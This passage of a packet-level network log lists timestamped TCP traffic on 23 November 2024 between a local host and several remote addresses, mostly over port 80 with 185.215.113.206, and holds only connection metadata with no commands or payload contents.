Nov 23, 2024 19:52:25.608756065 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.608802080 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.608803988 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.608844995 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.613447905 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.613502026 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.613518953 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.613564968 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.618196964 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.618251085 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.618263006 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.618347883 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.622903109 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.622926950 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.622992992 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.647366047 CET	443	49750	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.653811932 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:25.653887033 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:25.656193972 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:25.656203032 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:25.656450987 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:25.656527042 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:25.656791925 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:25.656825066 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:25.697277069 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.697326899 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.697360039 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.697371960 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.697408915 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.697408915 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.715544939 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.715564013 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.715646029 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.715656996 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.715698957 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.715698957 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.717446089 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.717459917 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.717786074 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.719563007 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.719615936 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.720082045 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.720094919 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.720176935 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.722574949 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.722632885 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.722656012 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.722712040 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.726859093 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.726942062 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.726943016 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.726988077 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.728005886 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.728020906 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.728090048 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.728101015 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.728149891 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.728224039 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.731149912 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.731229067 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.731594086 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.735403061 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.735490084 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.735573053 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.738893032 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.738909006 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.739002943 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.739017010 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.739715099 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.739825964 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.739834070 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.739866972 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.739921093 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.744016886 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.744087934 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.744163036 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.748218060 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.749241114 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.751267910 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.751283884 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.751341105 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.751357079 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.751372099 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.751688957 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.763099909 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.763114929 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.763212919 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.763225079 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.763339043 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.784174919 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.784255981 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.784290075 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.785569906 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.817285061 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.817303896 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.817444086 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.817460060 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.817610025 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.845362902 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.845412970 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.845503092 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.847431898 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.847572088 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.847907066 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.848020077 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.848068953 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.850456953 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.850553036 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.850562096 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.850841045 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.854780912 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.854798079 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.854865074 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.854902983 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.859035015 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.859061956 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.859081984 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.859100103 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.863382101 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.863404989 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.863428116 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.863446951 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.867603064 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.867634058 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.867675066 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.867697954 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.871886969 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.871998072 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.872075081 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.874727964 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.874743938 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.874792099 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.874804974 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.874826908 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.874867916 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.876128912 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.876200914 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.876250982 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.880341053 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.883575916 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.887172937 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.887188911 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.887262106 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.887273073 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.887548923 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.897970915 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.897986889 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.898159027 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.898169041 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.898219109 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.910495043 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.910511971 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.910577059 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.910586119 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.911956072 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.922207117 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.922224045 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.922306061 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.922316074 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.924587011 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.934639931 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.934658051 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.934719086 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.934726000 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.935565948 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.944972992 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.944988012 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.945116997 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.945125103 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.945563078 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.961016893 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.961035013 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.961122990 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.961129904 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:25.961570978 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:25.970657110 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.970752001 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.970814943 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.973423004 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.973510981 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.973598957 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.973664045 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.975814104 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.975928068 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.975990057 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.979341984 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.979381084 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.979470968 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.983109951 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.983232021 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.983287096 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.986812115 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.986905098 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.986931086 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.989577055 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.990479946 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.990539074 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.990591049 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.990658998 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.994223118 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.994313955 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.994380951 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:25.997904062 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.998047113 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:25.998183012 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.001570940 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.003107071 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.032846928 CET	443	49750	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.032912016 CET	443	49750	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.032928944 CET	49750	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.033566952 CET	49750	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.076771021 CET	49750	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.076798916 CET	443	49750	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.076806068 CET	49750	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.076879025 CET	49750	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.083895922 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.083918095 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.084000111 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.084000111 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.084033012 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.085606098 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.091048956 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.091069937 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.091136932 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.091145039 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.091182947 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.091202974 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.096122980 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.096230984 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.096247911 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.096417904 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.097899914 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.097918987 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.098011017 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.098011017 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.098023891 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.098071098 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.098437071 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.098551989 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.098741055 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.098786116 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.098849058 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.098891020 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.102123022 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.102164984 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.102196932 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.102248907 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.104166985 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.104182959 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.104293108 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.104293108 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.104307890 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.104409933 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.105715990 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.105819941 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.105885983 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.109447956 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.109458923 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.109541893 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.110328913 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.110344887 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.110450983 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.110461950 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.111712933 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.113169909 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.113248110 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.113378048 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.116142035 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.116157055 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.116291046 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.116302013 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.116801977 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.116868973 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.116872072 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.116920948 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.116920948 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.120522976 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.120608091 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.120709896 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.122694016 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.122709990 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.122812033 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.122823000 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.122929096 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.124192953 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.124234915 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.124311924 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.124370098 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.127876997 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.127970934 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.132627010 CET	49756	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.132707119 CET	443	49756	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.132782936 CET	49756	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.133255959 CET	49756	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.133291960 CET	443	49756	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.171664953 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.171685934 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.171758890 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.171776056 CET	443	49746	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:26.171792030 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.171823025 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.200540066 CET	49746	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:26.221525908 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.221663952 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.221669912 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.221724033 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.223345995 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.223392010 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.223452091 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.223525047 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.227005959 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.227102041 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.227128983 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.227215052 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.230741024 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.230818033 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.230855942 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.230906010 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.234462023 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.234532118 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.234647036 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.234685898 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.238117933 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.238229990 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.238251925 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.238276005 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.241883039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.241931915 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.241993904 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.242052078 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.245321989 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:26.245342970 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:26.245385885 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:26.245414019 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:26.245426893 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:26.245428085 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 19:52:26.245476007 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 19:52:26.245491982 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:26.245562077 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:26.245600939 CET	80	49736	185.215.113.206	192.168.2.6
